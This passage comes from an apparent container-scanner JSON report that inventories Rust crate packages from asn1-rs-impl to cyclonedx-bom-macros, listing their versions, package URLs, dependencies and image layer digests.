"asn1-rs-impl", "Identifier": { "PURL": "pkg:cargo/asn1-rs-impl@0.2.0", "UID": "1b0f5c7a1948c41c" }, "Version": "0.2.0", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "assert-json-diff@2.0.2", "Name": "assert-json-diff", "Identifier": { "PURL": "pkg:cargo/assert-json-diff@2.0.2", "UID": "9b344dc63d0c65dd" }, "Version": "2.0.2", "DependsOn": [ "serde@1.0.228", "serde_json@1.0.150" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "assert_cmd@2.2.2", "Name": "assert_cmd", "Identifier": { "PURL": "pkg:cargo/assert_cmd@2.2.2", "UID": "c5de382bb129b924" }, "Version": "2.2.2", "DependsOn": [ "anstyle@1.0.14", "bstr@1.12.1", "predicates@3.1.4", "predicates-core@1.0.10", "predicates-tree@1.0.13", "wait-timeout@0.2.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "assert_fs@1.1.4", "Name": "assert_fs", "Identifier": { "PURL": "pkg:cargo/assert_fs@1.1.4", "UID": "cc7916acd4f2711e" }, "Version": "1.1.4", "DependsOn": [ "anstyle@1.0.14", "globwalk@0.9.1", "predicates@3.1.4", "predicates-core@1.0.10", "predicates-tree@1.0.13", "tempfile@3.27.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-pubgrub@0.3.3", "Name": "astral-pubgrub", "Identifier": { "PURL": "pkg:cargo/astral-pubgrub@0.3.3", "UID": "c2aa52bbe9e36a01" }, "Version": "0.3.3", "DependsOn": [ "astral-version-ranges@0.1.4", "indexmap@2.14.0", "log@0.4.29", "priority-queue@2.7.0", "rustc-hash@2.1.2", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-reqwest-middleware@0.5.1", "Name": "astral-reqwest-middleware", "Identifier": { "PURL": "pkg:cargo/astral-reqwest-middleware@0.5.1", "UID": "c70ea7a8f922fab8" }, "Version": "0.5.1", "DependsOn": [ "anyhow@1.0.102", "async-trait@0.1.89", "http@1.4.1", "reqwest@0.13.4", "serde@1.0.228", "thiserror@2.0.18", "tower-service@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-reqwest-retry@0.9.1", "Name": "astral-reqwest-retry", "Identifier": { "PURL": "pkg:cargo/astral-reqwest-retry@0.9.1", "UID": "c73ae7031d873f42" }, "Version": "0.9.1", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "async-trait@0.1.89", "futures@0.3.32", "http@1.4.1", "hyper@1.10.1", "reqwest@0.13.4", "retry-policies@0.5.1", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-tl@0.7.11", "Name": "astral-tl", "Identifier": { "PURL": "pkg:cargo/astral-tl@0.7.11", "UID": "ff0bf9313f97156c" }, "Version": "0.7.11", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-tokio-tar@0.6.3", "Name": "astral-tokio-tar", "Identifier": { "PURL": "pkg:cargo/astral-tokio-tar@0.6.3", "UID": "3abf652a6a1691a6" }, "Version": "0.6.3", "DependsOn": [ "futures-core@0.3.32", "libc@0.2.186", "portable-atomic@1.13.1", "rustc-hash@2.1.2", "rustix@0.38.44", "tokio@1.52.3", "tokio-stream@0.1.18", "xattr@1.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral-version-ranges@0.1.4", "Name": "astral-version-ranges", "Identifier": { "PURL": "pkg:cargo/astral-version-ranges@0.1.4", "UID": "90e81830e26f4f11" }, "Version": "0.1.4", "DependsOn": [ "smallvec@1.15.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral_async_http_range_reader@0.11.0", "Name": "astral_async_http_range_reader", "Identifier": { "PURL": "pkg:cargo/astral_async_http_range_reader@0.11.0", "UID": "b2ae17f30b484431" }, "Version": "0.11.0", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "futures@0.3.32", "http-content-range@0.2.4", "itertools@0.14.0", "memmap2@0.9.10", "reqwest@0.13.4", "thiserror@2.0.18", "tokio@1.52.3", "tokio-stream@0.1.18", "tokio-util@0.7.18", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "astral_async_zip@0.0.18", "Name": "astral_async_zip", "Identifier": { "PURL": "pkg:cargo/astral_async_zip@0.0.18", "UID": "9452368f5b83af7" }, "Version": "0.0.18", "DependsOn": [ "async-compression@0.4.19", "crc32fast@1.5.0", "futures-lite@2.6.1", "pin-project@1.1.11", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-broadcast@0.7.2", "Name": "async-broadcast", "Identifier": { "PURL": "pkg:cargo/async-broadcast@0.7.2", "UID": "6185d2a6d7e147d1" }, "Version": "0.7.2", "DependsOn": [ "event-listener@5.4.1", "event-listener-strategy@0.5.4", "futures-core@0.3.32", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-channel@2.5.0", "Name": "async-channel", "Identifier": { "PURL": "pkg:cargo/async-channel@2.5.0", "UID": "ccd8ed80571be85f" }, "Version": "2.5.0", "DependsOn": [ "concurrent-queue@2.5.0", "event-listener-strategy@0.5.4", "futures-core@0.3.32", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-compression@0.4.19", "Name": "async-compression", "Identifier": { "PURL": "pkg:cargo/async-compression@0.4.19", "UID": "9f8d1b8c216c21b6" }, "Version": "0.4.19", "DependsOn": [ "bzip2@0.5.2", "flate2@1.1.9", "futures-core@0.3.32", "futures-io@0.3.32", "memchr@2.8.2", "pin-project-lite@0.2.17", "tokio@1.52.3", "xz2@0.1.7", "zstd@0.13.3", "zstd-safe@7.2.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-recursion@1.1.1", "Name": "async-recursion", "Identifier": { "PURL": "pkg:cargo/async-recursion@1.1.1", "UID": "e7c3bd94584a3345" }, "Version": "1.1.1", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "async-trait@0.1.89", "Name": "async-trait", "Identifier": { "PURL": "pkg:cargo/async-trait@0.1.89", "UID": "9b2d60636d8f1832" }, "Version": "0.1.89", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "atomic-waker@1.1.2", "Name": "atomic-waker", "Identifier": { "PURL": "pkg:cargo/atomic-waker@1.1.2", "UID": "a4fe08313f71f63" }, "Version": "1.1.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "aws-lc-rs@1.16.2", "Name": "aws-lc-rs", "Identifier": { "PURL": "pkg:cargo/aws-lc-rs@1.16.2", "UID": "af9d4b595aaf9018" }, "Version": "1.16.2", "DependsOn": [ "aws-lc-sys@0.39.0", "untrusted@0.7.1", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "aws-lc-sys@0.39.0", "Name": "aws-lc-sys", "Identifier": { "PURL": "pkg:cargo/aws-lc-sys@0.39.0", "UID": "6e8321007d124a22" }, "Version": "0.39.0", "DependsOn": [ "dunce@1.0.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "axoasset@2.0.1", "Name": "axoasset", "Identifier": { "PURL": "pkg:cargo/axoasset@2.0.1", "UID": "54ffc3a20cda88cd" }, "Version": "2.0.1", "DependsOn": [ "camino@1.2.2", "image@0.25.10", "lazy_static@1.5.0", "miette@7.6.0", "mime@0.3.17", "reqwest@0.13.4", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "url@2.5.8", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "axoprocess@0.2.1", "Name": "axoprocess", "Identifier": { "PURL": "pkg:cargo/axoprocess@0.2.1", "UID": "6cf1b4444192d593" }, "Version": "0.2.1", "DependsOn": [ "miette@7.6.0", "thiserror@2.0.18", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "axotag@0.3.0", "Name": "axotag", "Identifier": { "PURL": "pkg:cargo/axotag@0.3.0", "UID": "26c3339298fb55c9" }, "Version": "0.3.0", "DependsOn": [ "miette@7.6.0", "semver@1.0.27", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "axoupdater@0.10.0", "Name": "axoupdater", "Identifier": { "PURL": "pkg:cargo/axoupdater@0.10.0", "UID": "a967abbb918cdfb6" }, "Version": "0.10.0", "DependsOn": [ "axoasset@2.0.1", "axoprocess@0.2.1", "axotag@0.3.0", "camino@1.2.2", "homedir@0.3.6", "miette@7.6.0", "serde@1.0.228", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "base64@0.22.1", "Name": "base64", "Identifier": { "PURL": "pkg:cargo/base64@0.22.1", "UID": "b4c38959f7e6eb20" }, "Version": "0.22.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "base64ct@1.8.3", "Name": "base64ct", "Identifier": { "PURL": "pkg:cargo/base64ct@1.8.3", "UID": "bc0b5d5aaf1c6517" }, "Version": "1.8.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bitflags@2.13.0", "Name": "bitflags", "Identifier": { "PURL": "pkg:cargo/bitflags@2.13.0", "UID": "b17fc1979ce59080" }, "Version": "2.13.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "blake2@0.10.6", "Name": "blake2", "Identifier": { "PURL": "pkg:cargo/blake2@0.10.6", "UID": "a8e15fe83e5c808f" }, "Version": "0.10.6", "DependsOn": [ "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "block-buffer@0.10.4", "Name": "block-buffer", "Identifier": { "PURL": "pkg:cargo/block-buffer@0.10.4", "UID": "d9cbf7b5c8eb6f8e" }, "Version": "0.10.4", "DependsOn": [ "generic-array@0.14.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "block-padding@0.3.3", "Name": "block-padding", "Identifier": { "PURL": "pkg:cargo/block-padding@0.3.3", "UID": "b83ae8472c243ac8" }, "Version": "0.3.3", "DependsOn": [ "generic-array@0.14.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "borrow-or-share@0.2.4", "Name": "borrow-or-share", "Identifier": { "PURL": "pkg:cargo/borrow-or-share@0.2.4", "UID": "acc6222d20954df2" }, "Version": "0.2.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "boxcar@0.2.14", "Name": "boxcar", "Identifier": { "PURL": "pkg:cargo/boxcar@0.2.14", "UID": "bef71e82535d1334" }, "Version": "0.2.14", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bstr@1.12.1", "Name": "bstr", "Identifier": { "PURL": "pkg:cargo/bstr@1.12.1", "UID": "135b9a739bc85e79" }, "Version": "1.12.1", "DependsOn": [ "memchr@2.8.2", "regex-automata@0.4.14", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bytecheck@0.8.2", "Name": "bytecheck", "Identifier": { "PURL": "pkg:cargo/bytecheck@0.8.2", "UID": "19367e19831f89d9" }, "Version": "0.8.2", "DependsOn": [ "ptr_meta@0.3.1", "rancor@0.1.1", "simdutf8@0.1.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bytemuck@1.25.0", "Name": "bytemuck", "Identifier": { "PURL": "pkg:cargo/bytemuck@1.25.0", "UID": "ca983a773dfd55c1" }, "Version": "1.25.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "byteorder-lite@0.1.0", "Name": "byteorder-lite", "Identifier": { "PURL": "pkg:cargo/byteorder-lite@0.1.0", "UID": "524170c0dddc9d01" }, "Version": "0.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bytes@1.11.1", "Name": "bytes", "Identifier": { "PURL": "pkg:cargo/bytes@1.11.1", "UID": "7006cbaad092b2fd" }, "Version": "1.11.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bzip2@0.5.2", "Name": "bzip2", "Identifier": { "PURL": "pkg:cargo/bzip2@0.5.2", "UID": "a3765b1d0b689a4c" }, "Version": "0.5.2", "DependsOn": [ "bzip2-sys@0.1.13+1.0.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "bzip2-sys@0.1.13+1.0.8", "Name": "bzip2-sys", "Identifier": { "PURL": "pkg:cargo/bzip2-sys@0.1.13%2B1.0.8", "UID": "7f0092898f4e99be" }, "Version": "0.1.13+1.0.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "camino@1.2.2", "Name": "camino", "Identifier": { "PURL": "pkg:cargo/camino@1.2.2", "UID": "d119e0f489bfee3d" }, "Version": "1.2.2", "DependsOn": [ "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cargo-util@0.2.28", "Name": "cargo-util", "Identifier": { "PURL": "pkg:cargo/cargo-util@0.2.28", "UID": "28f5be550780e707" }, "Version": "0.2.28", "DependsOn": [ "anyhow@1.0.102", "filetime@0.2.29", "hex@0.4.3", "ignore@0.4.26", "jobserver@0.1.34", "libc@0.2.186", "same-file@1.0.6", "sha2@0.10.9", "shell-escape@0.1.5", "tempfile@3.27.0", "tracing@0.1.44", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cbc@0.1.2", "Name": "cbc", "Identifier": { "PURL": "pkg:cargo/cbc@0.1.2", "UID": "d2307f6e8b4fa9a1" }, "Version": "0.1.2", "DependsOn": [ "cipher@0.4.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cfg-if@1.0.4", "Name": "cfg-if", "Identifier": { "PURL": "pkg:cargo/cfg-if@1.0.4", "UID": "e76cf36dca742ef3" }, "Version": "1.0.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "charset@0.1.5", "Name": "charset", "Identifier": { "PURL": "pkg:cargo/charset@0.1.5", "UID": "3ee75c1d7e608795" }, "Version": "0.1.5", "DependsOn": [ "base64@0.22.1", "encoding_rs@0.8.35" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cipher@0.4.4", "Name": "cipher", "Identifier": { "PURL": "pkg:cargo/cipher@0.4.4", "UID": "28dcefcc1f160cab" }, "Version": "0.4.4", "DependsOn": [ "crypto-common@0.1.7", "inout@0.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap@4.6.1", "Name": "clap", "Identifier": { "PURL": "pkg:cargo/clap@4.6.1", "UID": "f0b1cdc4b56050e8" }, "Version": "4.6.1", "DependsOn": [ "clap_builder@4.6.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_builder@4.6.0", "Name": "clap_builder", "Identifier": { "PURL": "pkg:cargo/clap_builder@4.6.0", "UID": "afcb7918a7aa1d1a" }, "Version": "4.6.0", "DependsOn": [ "anstream@1.0.0", "anstyle@1.0.14", "clap_lex@1.1.0", "strsim@0.11.1", "terminal_size@0.4.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_complete@4.6.0", "Name": "clap_complete", "Identifier": { "PURL": "pkg:cargo/clap_complete@4.6.0", "UID": "e22217db2ef444e2" }, "Version": "4.6.0", "DependsOn": [ "clap@4.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_complete_command@0.6.1", "Name": "clap_complete_command", "Identifier": { "PURL": "pkg:cargo/clap_complete_command@0.6.1", "UID": "55189708998b3b65" }, "Version": "0.6.1", "DependsOn": [ "clap@4.6.1", "clap_complete@4.6.0", "clap_complete_nushell@4.6.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_complete_nushell@4.6.0", "Name": "clap_complete_nushell", "Identifier": { "PURL": "pkg:cargo/clap_complete_nushell@4.6.0", "UID": "28e04813fe97d23e" }, "Version": "4.6.0", "DependsOn": [ "clap@4.6.1", "clap_complete@4.6.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "clap_lex@1.1.0", "Name": "clap_lex", "Identifier": { "PURL": "pkg:cargo/clap_lex@1.1.0", "UID": "c587acffed9d68d2" }, "Version": "1.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "colorchoice@1.0.5", "Name": "colorchoice", "Identifier": { "PURL": "pkg:cargo/colorchoice@1.0.5", "UID": "7fb0b58cd6e94bfd" }, "Version": "1.0.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "concurrent-queue@2.5.0", "Name": "concurrent-queue", "Identifier": { "PURL": "pkg:cargo/concurrent-queue@2.5.0", "UID": "e508d536b7b2aa3d" }, "Version": "2.5.0", "DependsOn": [ "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "configparser@3.2.0", "Name": "configparser", "Identifier": { "PURL": "pkg:cargo/configparser@3.2.0", "UID": "bb3dab08b33e647c" }, "Version": "3.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "console@0.16.3", "Name": "console", "Identifier": { "PURL": "pkg:cargo/console@0.16.3", "UID": "5ff4ac2044456c28" }, "Version": "0.16.3", "DependsOn": [ "libc@0.2.186", "unicode-width@0.2.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "const-oid@0.9.6", "Name": "const-oid", "Identifier": { "PURL": "pkg:cargo/const-oid@0.9.6", "UID": "d5f9f41afa5ac85b" }, "Version": "0.9.6", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "const-random@0.1.18", "Name": "const-random", "Identifier": { "PURL": "pkg:cargo/const-random@0.1.18", "UID": "14c1a94b9a7138ec" }, "Version": "0.1.18", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cpufeatures@0.2.17", "Name": "cpufeatures", "Identifier": { "PURL": "pkg:cargo/cpufeatures@0.2.17", "UID": "d0212e968e363b9d" }, "Version": "0.2.17", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crc32fast@1.5.0", "Name": "crc32fast", "Identifier": { "PURL": "pkg:cargo/crc32fast@1.5.0", "UID": "a9d1f549a7726549" }, "Version": "1.5.0", "DependsOn": [ "cfg-if@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crossbeam-channel@0.5.15", "Name": "crossbeam-channel", "Identifier": { "PURL": "pkg:cargo/crossbeam-channel@0.5.15", "UID": "161851aa6ca9b503" }, "Version": "0.5.15", "DependsOn": [ "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crossbeam-deque@0.8.6", "Name": "crossbeam-deque", "Identifier": { "PURL": "pkg:cargo/crossbeam-deque@0.8.6", "UID": "10a9218d919925ab" }, "Version": "0.8.6", "DependsOn": [ "crossbeam-epoch@0.9.18", "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crossbeam-epoch@0.9.18", "Name": "crossbeam-epoch", "Identifier": { "PURL": "pkg:cargo/crossbeam-epoch@0.9.18", "UID": "c5a312eb272846fc" }, "Version": "0.9.18", "DependsOn": [ "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crossbeam-utils@0.8.21", "Name": "crossbeam-utils", "Identifier": { "PURL": "pkg:cargo/crossbeam-utils@0.8.21", "UID": "1560c2767371b6dd" }, "Version": "0.8.21", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crypto-common@0.1.7", "Name": "crypto-common", "Identifier": { "PURL": "pkg:cargo/crypto-common@0.1.7", "UID": "45a61e9d78015a7d" }, "Version": "0.1.7", "DependsOn": [ "generic-array@0.14.7", "typenum@1.19.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "csv@1.4.0", "Name": "csv", "Identifier": { "PURL": "pkg:cargo/csv@1.4.0", "UID": "7ac9c8c951b98829" }, "Version": "1.4.0", "DependsOn": [ "csv-core@0.1.13", "itoa@1.0.17", "ryu@1.0.23", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "csv-core@0.1.13", "Name": "csv-core", "Identifier": { "PURL": "pkg:cargo/csv-core@0.1.13", "UID": "99c47210c05e944a" }, "Version": "0.1.13", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ctrlc@3.5.2", "Name": "ctrlc", "Identifier": { "PURL": "pkg:cargo/ctrlc@3.5.2", "UID": "14320c0a176c3f31" }, "Version": "3.5.2", "DependsOn": [ "nix@0.31.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cyclonedx-bom@0.8.1", "Name": "cyclonedx-bom", "Identifier": { "PURL": "pkg:cargo/cyclonedx-bom@0.8.1", "UID": "c2bc89f4b40152d" }, "Version": "0.8.1", "DependsOn": [ "base64@0.22.1", "cyclonedx-bom-macros@0.1.0", "fluent-uri@0.4.1", "indexmap@2.14.0", "once_cell@1.21.4", "ordered-float@5.3.0", "purl@0.1.6", "regex@1.12.4", "serde@1.0.228", "serde_json@1.0.150", "spdx@0.13.4", "strum@0.28.0", "thiserror@2.0.18", "time@0.3.47", "uuid@1.23.3", "xml-rs@0.8.28" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cyclonedx-bom-macros@0.1.0", "Name": "cyclonedx-bom-macros", "Identifier": { "PURL": "pkg:cargo/cyclonedx-bom-macros@0.1.0", "UID": "d0bd92b79a024fd" }, "Version": "0.1.0", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": 